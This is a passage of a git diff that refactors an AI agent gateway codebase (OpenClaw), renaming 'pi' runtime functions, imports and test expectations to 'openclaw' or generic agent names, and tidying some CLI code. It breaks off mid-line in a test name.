-247,7 +263,7 @@ describe("buildStatusMessage", () => { source: "pre-prompt-estimate", updatedAt: 1, provider: "anthropic", - model: "pi:opus", + model: "claude-sonnet-4.6", route: "fits", shouldCompact: false, estimatedPromptTokens: 640_000, @@ -277,7 +293,7 @@ describe("buildStatusMessage", () => { it("uses estimated context budget status when token usage is absent", () => { const text = buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/claude-sonnet-4.6", contextTokens: 1_000_000, }, sessionEntry: { @@ -289,7 +305,7 @@ describe("buildStatusMessage", () => { source: "pre-prompt-estimate", updatedAt: 1, provider: "anthropic", - model: "pi:opus", + model: "claude-sonnet-4.6", route: "fits", shouldCompact: false, estimatedPromptTokens: 125_000, @@ -454,7 +470,7 @@ describe("buildStatusMessage", () => { it("falls back to sessionEntry levels when resolved levels are not passed", () => { const text = buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -477,7 +493,7 @@ describe("buildStatusMessage", () => { const visible = normalizeTestText( buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -497,7 +513,7 @@ describe("buildStatusMessage", () => { const hidden = normalizeTestText( buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -523,7 +539,7 @@ describe("buildStatusMessage", () => { const visible = normalizeTestText( buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -550,7 +566,7 @@ describe("buildStatusMessage", () => { const hidden = normalizeTestText( buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -567,7 +583,7 @@ describe("buildStatusMessage", () => { const visible = normalizeTestText( buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -592,7 +608,7 @@ describe("buildStatusMessage", () => { const visible = normalizeTestText( buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", }, sessionEntry: { sessionId: "abc", @@ -650,25 +666,25 @@ describe("buildStatusMessage", () => { expect(normalized).not.toContain("· codex"); }); - it("shows the default PI harness as the model runtime", () => { + it("shows the default OpenClaw harness as the model runtime", () => { const text = buildStatusMessage({ agent: { model: "openai/gpt-5.4", }, sessionEntry: { - sessionId: "pi-harness", + sessionId: "openclaw-harness", updatedAt: 0, fastMode: true, }, sessionKey: "agent:main:main", queue: { mode: "collect", depth: 0 }, - resolvedHarness: "pi", + resolvedHarness: "openclaw", }); const normalized = normalizeTestText(text); expect(normalized).toContain("Fast"); - expect(normalized).toContain("Runtime: OpenClaw Pi Default"); - expect(normalized).not.toContain("· pi"); + expect(normalized).toContain("Runtime: OpenClaw Default"); + expect(normalized).not.toContain("· openclaw"); }); it("shows fast mode when disabled", () => { @@ -959,6 +975,8 @@ describe("buildStatusMessage", () => { }); it("renders CLI runtime aliases as the selected model route", () => { + registerAnthropicCliBackendForTest(); + const text = buildStatusMessage({ agent: { model: "anthropic/claude-opus-4-7", diff --git a/src/auto-reply/thinking.test.ts b/src/auto-reply/thinking.test.ts index cf70b5f744f..37be5e8b8ba 100644 --- a/src/auto-reply/thinking.test.ts +++ b/src/auto-reply/thinking.test.ts @@ -435,7 +435,7 @@ describe("resolveThinkingDefaultForModel", () => { ).toBe("adaptive"); }); - it("uses provider-advertised adaptive defaults for Bedrock aliases", () => { + it("does not apply provider-advertised adaptive defaults across Bedrock id variants", () => { providerRuntimeMocks.resolveProviderDefaultThinkingLevel.mockImplementation( ({ provider, context }) => provider === "amazon-bedrock" && context.modelId === "claude-sonnet-4-6" @@ -445,7 +445,7 @@ describe("resolveThinkingDefaultForModel", () => { expect( resolveThinkingDefaultForModel({ provider: "aws-bedrock", model: "claude-sonnet-4-6" }), - ).toBe("adaptive"); + ).toBe("off"); }); it("does not assume adaptive defaults without provider runtime", () => { diff --git a/src/channels/plugins/message-action-dispatch.ts b/src/channels/plugins/message-action-dispatch.ts index aa73da4700a..d30b8ab117c 100644 --- a/src/channels/plugins/message-action-dispatch.ts +++ b/src/channels/plugins/message-action-dispatch.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "../../agents/runtime/index.js"; import { getChannelPlugin } from "./index.js"; import type { ChannelMessageActionContext } from "./types.public.js"; diff --git a/src/channels/plugins/types.core.ts b/src/channels/plugins/types.core.ts index 91a7e50ab8c..dfc1ef0eeaa 100644 --- a/src/channels/plugins/types.core.ts +++ b/src/channels/plugins/types.core.ts @@ -1,5 +1,5 @@ -import type { AgentTool, AgentToolResult } from "@earendil-works/pi-agent-core"; import type { TSchema } from "typebox"; +import type { AgentTool, AgentToolResult } from "../../agents/runtime/index.js"; import type { ReplyPayload } from "../../auto-reply/reply-payload.js"; import type { MsgContext } from "../../auto-reply/templating.js"; import type { MarkdownTableMode } from "../../config/types.base.js"; @@ -25,7 +25,7 @@ export type ChannelExposure = { export type ChannelOutboundTargetMode = "explicit" | "implicit" | "heartbeat"; /** Agent tool registered by a channel plugin. */ -export type ChannelAgentTool = AgentTool; +export type ChannelAgentTool = AgentTool; /** Lazy agent-tool factory used when tool availability depends on config. */ export type ChannelAgentToolFactory = (params: { cfg?: OpenClawConfig }) => ChannelAgentTool[]; diff --git a/src/cli/capability-cli.test.ts b/src/cli/capability-cli.test.ts index 9a87b5e5500..e74960909ea 100644 --- a/src/cli/capability-cli.test.ts +++ b/src/cli/capability-cli.test.ts @@ -724,7 +724,7 @@ describe("capability cli", () => { const preparedParams = firstPreparedModelParams(); expect(preparedParams?.agentId).toBe("main"); expect(preparedParams?.allowMissingApiKeyModes).toEqual(["aws-sdk"]); - expect(preparedParams?.skipPiDiscovery).toBe(true); + expect(preparedParams?.skipAgentDiscovery).toBe(true); const call = firstCompletionCall(); expect(call?.context?.messages?.[0]?.role).toBe("user"); expect(call?.context?.messages?.[0]?.content).toBe("hello"); @@ -737,7 +737,7 @@ describe("capability cli", () => { const params = firstPreparedModelParams(); expect(params?.modelRef).toBe("mistral/mistral-medium-3-5"); expect(params?.allowBundledStaticCatalogFallback).toBe(true); - expect(params?.skipPiDiscovery).toBe(true); + expect(params?.skipAgentDiscovery).toBe(true); }); it("does not enable bundled static catalog fallback without an explicit provider/model override", async () => { diff --git a/src/cli/capability-cli.ts b/src/cli/capability-cli.ts index 731184882ef..466bf4d30e6 100644 --- a/src/cli/capability-cli.ts +++ b/src/cli/capability-cli.ts @@ -730,14 +730,14 @@ async function runModelRun(params: { modelRef, allowMissingApiKeyModes: ["aws-sdk"], ...(hasExplicitProviderModelOverride ? { allowBundledStaticCatalogFallback: true } : {}), - skipPiDiscovery: true, + skipAgentDiscovery: true, }); if ("error" in prepared) { throw new Error(prepared.error); } if (prepared.selection.provider === "codex") { throw new Error( - 'The codex provider is served by the Codex app-server agent runtime, not the local simple-completion transport. Use an openai/ ref with agents.defaults.agentRuntime.id: "codex", run through the gateway, or use /codex commands.', + 'The codex provider is served by the Codex app-server agent runtime, not the local simple-completion transport. Use an openai/ ref with provider/model agentRuntime.id: "codex", run through the gateway, or use /codex commands.', ); } const localModelRunSystemPrompt = diff --git a/src/cli/command-secret-targets.ts b/src/cli/command-secret-targets.ts index cb93cd294d5..c5ebb82660d 100644 --- a/src/cli/command-secret-targets.ts +++ b/src/cli/command-secret-targets.ts @@ -454,7 +454,6 @@ function getCapabilityWebSearchSelectedProviderTargetIds( ); const providers = resolvePluginWebSearchProviders({ config: providerDiscoveryConfig, - bundledAllowlistCompat: true, }).filter((provider) => provider.id === selectedProviderId); for (const provider of providers) { if (provider.credentialPath.trim()) { @@ -551,7 +550,6 @@ function getCapabilityWebFetchSelectedProviderTargetIds( ); const providers = resolvePluginWebFetchProviders({ config: providerDiscoveryConfig, - bundledAllowlistCompat: true, }).filter((provider) => provider.id === selectedProviderId); for (const provider of providers) { if (provider.credentialPath.trim()) { @@ -609,7 +607,6 @@ function getCapabilityWebSearchAutoDetectTargets(config: OpenClawConfig): Comman const providers = sortWebSearchProvidersForAutoDetect( resolvePluginWebSearchProviders({ config, - bundledAllowlistCompat: true, }), ); for (const provider of providers) { @@ -652,7 +649,6 @@ function getCapabilityWebFetchAutoDetectTargets(config: OpenClawConfig): Command const providers = sortWebFetchProvidersForAutoDetect( resolvePluginWebFetchProviders({ config, - bundledAllowlistCompat: true, }), ); for (const provider of providers) { diff --git a/src/cli/gateway-cli/lifecycle.runtime.ts b/src/cli/gateway-cli/lifecycle.runtime.ts index 6e04d3fa36a..141b9946ed6 100644 --- a/src/cli/gateway-cli/lifecycle.runtime.ts +++ b/src/cli/gateway-cli/lifecycle.runtime.ts @@ -1,10 +1,10 @@ export { - abortEmbeddedPiRun, + abortEmbeddedAgentRun, getActiveEmbeddedRunCount, listActiveEmbeddedRunSessionIds, listActiveEmbeddedRunSessionKeys, waitForActiveEmbeddedRuns, -} from "../../agents/pi-embedded-runner/runs.js"; +} from "../../agents/embedded-agent-runner/runs.js"; export { markRestartAbortedMainSessions } from "../../agents/main-session-restart-recovery.js"; export { getRuntimeConfig } from "../../config/config.js"; export { diff --git a/src/cli/gateway-cli/run-loop.test.ts b/src/cli/gateway-cli/run-loop.test.ts index 7c3adba6332..7e2d5b99c77 100644 --- a/src/cli/gateway-cli/run-loop.test.ts +++ b/src/cli/gateway-cli/run-loop.test.ts @@ -73,7 +73,7 @@ const respawnGatewayProcessForUpdate = vi.fn< const markUpdateRestartSentinelFailure = vi.fn<(reason: string) => Promise>( async (_reason: string) => null, ); -const abortEmbeddedPiRun = vi.fn( +const abortEmbeddedAgentRun = vi.fn( (_sessionId?: string, _opts?: { mode?: "all" | "compacting" }) => false, ); const getActiveEmbeddedRunCount = vi.fn(() => 0); @@ -161,9 +161,9 @@ vi.mock("../../tasks/task-registry.maintenance.js", () => ({ getInspectableActiveTaskRestartBlockers: () => getInspectableActiveTaskRestartBlockers(), })); -vi.mock("../../agents/pi-embedded-runner/runs.js", () => ({ - abortEmbeddedPiRun: (sessionId?: string, opts?: { mode?: "all" | "compacting" }) => - abortEmbeddedPiRun(sessionId, opts), +vi.mock("../../agents/embedded-agent-runner/runs.js", () => ({ + abortEmbeddedAgentRun: (sessionId?: string, opts?: { mode?: "all" | "compacting" }) => + abortEmbeddedAgentRun(sessionId, opts), getActiveEmbeddedRunCount: () => getActiveEmbeddedRunCount(), listActiveEmbeddedRunSessionIds: () => listActiveEmbeddedRunSessionIds(), listActiveEmbeddedRunSessionKeys: () => listActiveEmbeddedRunSessionKeys(), @@ -498,8 +498,8 @@ describe("runGatewayLoop", () => { await new Promise((resolve) => setImmediate(resolve)); expect(waitForActiveEmbeddedRuns).toHaveBeenCalledWith(undefined); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); - expect(abortEmbeddedPiRun).not.toHaveBeenCalledWith(undefined, { mode: "all" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); + expect(abortEmbeddedAgentRun).not.toHaveBeenCalledWith(undefined, { mode: "all" }); expectRestartCloseCall(close, 15_000); expect(start).toHaveBeenCalledTimes(2); @@ -530,8 +530,8 @@ describe("runGatewayLoop", () => { await new Promise((resolve) => setImmediate(resolve)); expect(waitForActiveEmbeddedRuns).toHaveBeenCalledWith(undefined); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); - expect(abortEmbeddedPiRun).not.toHaveBeenCalledWith(undefined, { mode: "all" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); + expect(abortEmbeddedAgentRun).not.toHaveBeenCalledWith(undefined, { mode: "all" }); expectRestartCloseCall(close, 15_000); expect(start).toHaveBeenCalledTimes(2); @@ -562,8 +562,8 @@ describe("runGatewayLoop", () => { expect(waitForActiveTasks).toHaveBeenCalledWith(90_000); expect(waitForActiveEmbeddedRuns).toHaveBeenCalledWith(90_000); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "all" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "all" }); expect(gatewayLog.warn).toHaveBeenCalledWith(ACTIVE_RUN_DRAIN_TIMEOUT_LOG); expect(gatewayLog.warn).toHaveBeenCalledWith(DRAIN_TIMEOUT_LOG); expect(markRestartAbortedMainSessions).toHaveBeenCalledWith({ @@ -611,8 +611,8 @@ describe("runGatewayLoop", () => { expect(waitForActiveTasks).not.toHaveBeenCalled(); expect(waitForActiveEmbeddedRuns).not.toHaveBeenCalled(); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "all" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "all" }); expect(markRestartAbortedMainSessions).toHaveBeenCalledWith({ cfg: { gateway: { @@ -666,7 +666,7 @@ describe("runGatewayLoop", () => { expect(waitForActiveTasks).not.toHaveBeenCalled(); expect(waitForActiveEmbeddedRuns).not.toHaveBeenCalled(); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "all" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "all" }); expect(markRestartAbortedMainSessions).toHaveBeenCalledWith({ cfg: { gateway: { @@ -771,10 +771,10 @@ describe("runGatewayLoop", () => { expect(start).toHaveBeenCalledTimes(2); await new Promise((resolve) => setImmediate(resolve)); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "compacting" }); expect(waitForActiveTasks).toHaveBeenCalledWith(1_234); expect(waitForActiveEmbeddedRuns).toHaveBeenCalledWith(1_234); - expect(abortEmbeddedPiRun).toHaveBeenCalledWith(undefined, { mode: "all" }); + expect(abortEmbeddedAgentRun).toHaveBeenCalledWith(undefined, { mode: "all" }); expect(markRestartAbortedMainSessions).toHaveBeenCalledWith({ cfg: { gateway: { diff --git a/src/cli/gateway-cli/run-loop.ts b/src/cli/gateway-cli/run-loop.ts index 051ba0f09de..67b8d1b2793 100644 --- a/src/cli/gateway-cli/run-loop.ts +++ b/src/cli/gateway-cli/run-loop.ts @@ -459,7 +459,7 @@ export async function runGatewayLoop(params: { "restart.drain", async () => { const { - abortEmbeddedPiRun, + abortEmbeddedAgentRun, getRuntimeConfig, getInspectableActiveTaskRestartBlockers, getActiveEmbeddedRunCount, @@ -545,7 +545,7 @@ export async function runGatewayLoop(params: { // Best-effort abort for compacting runs so long compaction operations // don't hold session write locks across restart boundaries. if (activeRuns > 0) { - abortEmbeddedPiRun(undefined, { mode: "compacting" }); + abortEmbeddedAgentRun(undefined, { mode: "compacting" }); } if (activeTasks > 0 || activeRuns > 0) { @@ -563,7 +563,7 @@ export async function runGatewayLoop(params: { await markActiveMainSessionsForRestart( restartIntent.reason ?? "forced gateway restart", ); - abortEmbeddedPiRun(undefined, { mode: "all" }); + abortEmbeddedAgentRun(undefined, { mode: "all" }); } else { const stillPendingDrainLogger = createStillPendingDrainLogger(); let abortedAfterRunTimeout = false; @@ -582,7 +582,7 @@ export async function runGatewayLoop(params: { gatewayLog.warn( "active embedded run drain timeout reached; aborting active run(s) before restart", ); - abortEmbeddedPiRun(undefined, { mode: "all" }); + abortEmbeddedAgentRun(undefined, { mode: "all" }); abortedAfterRunTimeout = true; } tasksDrain = await tasksDrainPromise; @@ -598,7 +598,7 @@ export async function runGatewayLoop(params: { // Final best-effort abort to avoid carrying active runs into the // next lifecycle when drain time budget is exhausted. if (!abortedAfterRunTimeout) { - abortEmbeddedPiRun(undefined, { mode: "all" }); + abortEmbeddedAgentRun(undefined, { mode: "all" }); } } } diff --git a/src/cli/logs-cli.ts b/src/cli/logs-cli.ts index 1976e8e107a..ba3a2ed9cde 100644 --- a/src/cli/logs-cli.ts +++ b/src/cli/logs-cli.ts @@ -14,7 +14,6 @@ import { readConfiguredLogTail } from "../logging/log-tail.js"; import { parseLogLine } from "../logging/parse-log-line.js"; import { redactSensitiveLines, resolveRedactOptions } from "../logging/redact.js"; import { formatTimestamp } from "../logging/timestamps.js"; -import { createLazyImportLoader } from "../shared/lazy-promise.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { formatDocsLink } from "../terminal/links.js"; import { clearActiveProgressLine } from "../terminal/progress-line.js"; @@ -23,16 +22,6 @@ import { colorize, isRich, theme } from "../terminal/theme.js"; import { formatCliCommand } from "./command-format.js"; import { addGatewayClientOptions, callGatewayFromCli } from "./gateway-rpc.js"; -type LogsCliRuntimeModule = typeof import("./logs-cli.runtime.js"); - -const logsCliRuntimeLoader = createLazyImportLoader( - () => import("./logs-cli.runtime.js"), -); - -async function loadLogsCliRuntime(): Promise { - return logsCliRuntimeLoader.load(); -} - type LogsTailPayload = { file?: string; source?: string; @@ -49,6 +38,8 @@ type LogsTailPayload = { localFallback?: boolean; }; +type LogsCliRuntimeModule = typeof import("./logs-cli.runtime.js"); + type LogCursorState = { gateway?: number; journal?: string; @@ -63,6 +54,10 @@ class JournalFallbackUnavailableError extends Error { } } +async function loadLogsCliRuntime(): Promise { + return await import("./logs-cli.runtime.js"); +} + type LogsCliOptions = { limit?: string; maxBytes?: string; @@ -313,10 +308,7 @@ function parseJournalctlOutput(output: string): { lines: string[]; cursor?: stri return { lines, cursor }; } -function resolveLogsSystemdUnitName( - runtime: LogsCliRuntimeModule, - env: NodeJS.ProcessEnv, -): string { +function resolveLogsSystemdUnitName(runtime: LogsCliRuntimeModule, env: NodeJS.ProcessEnv): string { const override = env.OPENCLAW_SYSTEMD_UNIT?.trim(); if (override) { return override.endsWith(".service") ? override : `${override}.service`; @@ -446,12 +438,11 @@ async function emitGatewayError( emitJsonLine: (payload: Record, toStdErr?: boolean) => boolean, errorLine: (text: string) => boolean, ) { - const runtime = await loadLogsCliRuntime(); const message = "Gateway not reachable. Is it running and accessible?"; const hint = `Hint: run \`${formatCliCommand("openclaw doctor")}\`.`; const errorText = formatErrorMessage(err); - const details = runtime.buildGatewayConnectionDetails({ url: opts.url }); + const details = buildGatewayConnectionDetails({ url: opts.url }); if (mode === "json") { if ( !emitJsonLine( diff --git a/src/cli/models-cli.ts b/src/cli/models-cli.ts index 5c40cbf4c35..6c7ace1a22c 100644 --- a/src/cli/models-cli.ts +++ b/src/cli/models-cli.ts @@ -17,10 +17,7 @@ export function registerModelsCli(program: Command) { .description("Model discovery, scanning, and configuration") .option("--status-json", "Output JSON (alias for `models status --json`)", false) .option("--status-plain", "Plain output (alias for `models status --plain`)", false) - .option( - "--agent ", - "Agent id to inspect (overrides OPENCLAW_AGENT_DIR/PI_CODING_AGENT_DIR)", - ) + .option("--agent ", "Agent id to inspect (overrides OPENCLAW_AGENT_DIR)") .addHelpText( "after", () => @@ -66,10 +63,7 @@ export function registerModelsCli(program: Command) { .option("--probe-timeout ", "Per-probe timeout in ms") .option("--probe-concurrency ", "Concurrent probes") .option("--probe-max-tokens ", "Probe max tokens (best-effort)") - .option( - "--agent ", - "Agent id to inspect (overrides OPENCLAW_AGENT_DIR/PI_CODING_AGENT_DIR)", - ) + .option("--agent ", "Agent id to inspect (overrides OPENCLAW_AGENT_DIR)") .action(async (opts, command) => { await withModelsRuntime(async ({ defaultRuntime, resolveModelAgentOption }) => { const agent = resolveModelAgentOption(command, opts); diff --git a/src/cli/plugins-cli.list.test.ts b/src/cli/plugins-cli.list.test.ts index 05e44cf55ad..0c1d12bf720 100644 --- a/src/cli/plugins-cli.list.test.ts +++ b/src/cli/plugins-cli.list.test.ts @@ -229,7 +229,7 @@ describe("plugins cli list", () => { expect(output).toContain('Configured runtime "acpx" requires the ACPX Runtime plugin'); expect(output).toContain("Set plugins.entries.acpx.enabled=true"); expect(output).toContain("disable ACP/acpx in acp config"); - expect(output).not.toContain('runtime policy to "pi"'); + expect(output).not.toContain('runtime policy to "openclaw"'); expect(output).not.toContain("openclaw plugins install @openclaw/acpx"); expect(output).not.toContain("No plugin issues detected."); }); @@ -252,7 +252,7 @@ describe("plugins cli list", () => { expect(output).toContain('Configured runtime "acpx" requires the ACPX Runtime plugin'); expect(output).toContain('Enable the "acpx" plugin'); expect(output).toContain("disable ACP/acpx in acp config"); - expect(output).not.toContain('runtime policy to "pi"'); + expect(output).not.toContain('runtime policy to "openclaw"'); expect(output).not.toContain("openclaw plugins install @openclaw/acpx"); expect(output).not.toContain("No plugin issues detected."); }); diff --git a/src/cli/plugins-cli.runtime.ts b/src/cli/plugins-cli.runtime.ts index 91be8d4ed54..caa7a6b8a9e 100644 --- a/src/cli/plugins-cli.runtime.ts +++ b/src/cli/plugins-cli.runtime.ts @@ -95,7 +95,9 @@ function formatBlockedRuntimePluginGuidance(params: { }): string | undefined { const pluginId = params.pluginId; const alternative = - pluginId === "acpx" ? "disable ACP/acpx in acp config" : 'change the runtime policy to "pi"'; + pluginId === "acpx" + ? "disable ACP/acpx in acp config" + : 'change the runtime policy to "openclaw"'; if (params.cfg.plugins?.enabled === false) { return `Enable plugin loading and the "${pluginId}" plugin, or ${alternative}.`; } @@ -116,7 +118,7 @@ function formatDisabledRuntimePluginGuidance(params: { const alternative = params.pluginId === "acpx" ? "disable ACP/acpx in acp config" - : 'change the runtime policy to "pi"'; + : 'change the runtime policy to "openclaw"'; if (Array.isArray(allow) && allow.length > 0 && !allow.includes(params.pluginId)) { return `Add "${params.pluginId}" to plugins.allow and enable the plugin, or ${alternative}.`; } @@ -133,10 +135,8 @@ function collectConfiguredRuntimePluginWarnings(params: { .filter((plugin) => plugin.enabled !== false && plugin.status !== "disabled") .map((plugin) => plugin.id), ); - return collectConfiguredRuntimePluginIds(params.cfg, params.env, { - includeEnvRuntime: false, + return collectConfiguredRuntimePluginIds(params.cfg, { includeImplicitRuntimePreferences: false, - includeLegacyAgentRuntimes: false, }).flatMap((runtimeId) => { const candidate = resolveConfiguredRuntimePluginInstallCandidate(runtimeId); if (!candidate || enabledPluginIds.has(runtimeId)) { diff --git a/src/cli/root-help-live-config.ts b/src/cli/root-help-live-config.ts index 4c8d4b04397..6f2b4a8ed41 100644 --- a/src/cli/root-help-live-config.ts +++ b/src/cli/root-help-live-config.ts @@ -18,7 +18,6 @@ export function hasPluginHelpAffectingConfig(config: OpenClawConfig | null | und plugins.enabled === false || hasListEntries(plugins.allow) || hasListEntries(plugins.deny) || - plugins.bundledDiscovery !== undefined || hasListEntries(plugins.load?.paths) || hasEntries(plugins.slots) || hasEntries(plugins.entries) || diff --git a/src/cli/skills-cli.test.ts b/src/cli/skills-cli.test.ts index 057e81206a5..e247a3ea3e5 100644 --- a/src/cli/skills-cli.test.ts +++ b/src/cli/skills-cli.test.ts @@ -4,7 +4,7 @@ import { createEmptyInstallChecks } from "./requirements-test-fixtures.js"; import { formatSkillInfo, formatSkillsCheck, formatSkillsList } from "./skills-cli.format.js"; // Unit tests: don't pay the runtime cost of loading/parsing the real skills loader. -vi.mock("@earendil-works/pi-coding-agent", () => ({ +vi.mock("openclaw/plugin-sdk/agent-sessions", () => ({ loadSkillsFromDir: () => ({ skills: [] }), formatSkillsForPrompt: () => "", })); diff --git a/src/commands/agent-command.test-mocks.ts b/src/commands/agent-command.test-mocks.ts index a5cf06d7f09..c14b3a85e3f 100644 --- a/src/commands/agent-command.test-mocks.ts +++ b/src/commands/agent-command.test-mocks.ts @@ -43,9 +43,9 @@ vi.mock("../acp/control-plane/manager.js", () => ({ getAcpSessionManager: vi.fn(() => acpManagerMock.current), })); -vi.mock("../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - runEmbeddedPiAgent: vi.fn(), +vi.mock("../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + runEmbeddedAgent: vi.fn(), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, })); diff --git a/src/commands/agent.acp.test.ts b/src/commands/agent.acp.test.ts index c68c93105b9..f9fd772777d 100644 --- a/src/commands/agent.acp.test.ts +++ b/src/commands/agent.acp.test.ts @@ -5,7 +5,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import "./agent-command.test-mocks.js"; import * as acpManagerModule from "../acp/control-plane/manager.js"; import { AcpRuntimeError } from "../acp/runtime/errors.js"; -import * as embeddedModule from "../agents/pi-embedded.js"; +import * as embeddedModule from "../agents/embedded-agent.js"; import * as configIoModule from "../config/io.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { RuntimeEnv } from "../runtime.js"; @@ -115,7 +115,7 @@ vi.mock("../agents/command/attempt-execution.runtime.js", () => { }); const loadConfigSpy = vi.spyOn(configIoModule, "loadConfig"); -const runEmbeddedPiAgentSpy = vi.spyOn(embeddedModule, "runEmbeddedPiAgent"); +const runEmbeddedAgentSpy = vi.spyOn(embeddedModule, "runEmbeddedAgent"); const getAcpSessionManagerSpy = vi.spyOn(acpManagerModule, "getAcpSessionManager"); const runtime = createThrowingTestRuntime(); @@ -332,7 +332,7 @@ async function runAcpSessionWithPolicyOverridesAndExpectBlocked(params: { await expectAcpCommandRejects("agent:codex:acp:test", "ACP_DISPATCH_DISABLED"); expect(runTurn).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgentSpy).not.toHaveBeenCalled(); + expect(runEmbeddedAgentSpy).not.toHaveBeenCalled(); }); } @@ -357,7 +357,7 @@ async function expectAcpCommandRejects( describe("agentCommand ACP runtime routing", () => { beforeEach(() => { vi.clearAllMocks(); - runEmbeddedPiAgentSpy.mockResolvedValue({ + runEmbeddedAgentSpy.mockResolvedValue({ payloads: [{ text: "embedded" }], meta: { durationMs: 5, @@ -375,7 +375,7 @@ describe("agentCommand ACP runtime routing", () => { expect(runTurnInput?.sessionKey).toBe("agent:codex:acp:test"); expect(runTurnInput?.text).toBe(" ping\n"); expect(runTurnInput?.mode).toBe("prompt"); - expect(runEmbeddedPiAgentSpy).not.toHaveBeenCalled(); + expect(runEmbeddedAgentSpy).not.toHaveBeenCalled(); const hasAckLog = vi .mocked(runtime.log) .mock.calls.some(([first]) => typeof first === "string" && first.includes("ACP_OK")); @@ -445,7 +445,7 @@ describe("agentCommand ACP runtime routing", () => { "ACP metadata is missing", ); expect(runTurn).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgentSpy).not.toHaveBeenCalled(); + expect(runEmbeddedAgentSpy).not.toHaveBeenCalled(); }); }); @@ -478,7 +478,7 @@ describe("agentCommand ACP runtime routing", () => { "not allowed by policy", ); expect(runTurn).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgentSpy).not.toHaveBeenCalled(); + expect(runEmbeddedAgentSpy).not.toHaveBeenCalled(); }); }); @@ -501,7 +501,7 @@ describe("agentCommand ACP runtime routing", () => { const runTurnInput = firstRunTurnInput(runTurn); expect(runTurnInput?.sessionKey).toBe("agent:kimi:acp:test"); expect(runTurnInput?.text).toBe("ping"); - expect(runEmbeddedPiAgentSpy).not.toHaveBeenCalled(); + expect(runEmbeddedAgentSpy).not.toHaveBeenCalled(); }); }); }); diff --git a/src/commands/agent.test.ts b/src/commands/agent.test.ts index 25697397763..0c00529c38a 100644 --- a/src/commands/agent.test.ts +++ b/src/commands/agent.test.ts @@ -6,9 +6,9 @@ import "./agent-command.test-mocks.js"; import { testing as acpManagerTesting } from "../acp/control-plane/manager.js"; import * as authProfileStoreModule from "../agents/auth-profiles/store.js"; import * as attemptExecutionRuntime from "../agents/command/attempt-execution.runtime.js"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import { loadManifestModelCatalog, loadModelCatalog } from "../agents/model-catalog.js"; import * as modelSelectionModule from "../agents/model-selection.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { BASE_THINKING_LEVELS } from "../auto-reply/thinking.shared.js"; import * as runtimeSnapshotModule from "../config/runtime-snapshot.js"; import { loadSessionStore } from "../config/sessions/store-load.js"; @@ -95,7 +95,7 @@ vi.mock("../agents/command/attempt-execution.runtime.js", () => { const authProfileId = providerOverride === authProfileProvider ? sessionEntry?.authProfileOverride : undefined; - return await runEmbeddedPiAgent({ + return await runEmbeddedAgent({ sessionId: params.sessionId, sessionKey: params.sessionKey, agentId: params.sessionAgentId, @@ -303,7 +303,7 @@ function createDefaultAgentResult(params?: { } function getLastEmbeddedCall() { - const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + const calls = vi.mocked(runEmbeddedAgent).mock.calls; return calls[calls.length - 1]?.[0]; } @@ -355,7 +355,7 @@ beforeEach(() => { resetAgentRunContextForTest(); acpManagerTesting.resetAcpSessionManagerForTests(); runtimeSnapshotModule.clearRuntimeConfigSnapshot(); - vi.mocked(runEmbeddedPiAgent).mockResolvedValue(createDefaultAgentResult()); + vi.mocked(runEmbeddedAgent).mockResolvedValue(createDefaultAgentResult()); vi.mocked(loadManifestModelCatalog).mockReturnValue([]); vi.mocked(loadModelCatalog).mockResolvedValue([]); vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false); @@ -393,7 +393,7 @@ describe("agentCommand", () => { }); }); - it("does not enable Codex for one-shot OpenAI overrides when the provider forces PI", async () => { + it("does not enable Codex for one-shot OpenAI overrides when the provider forces 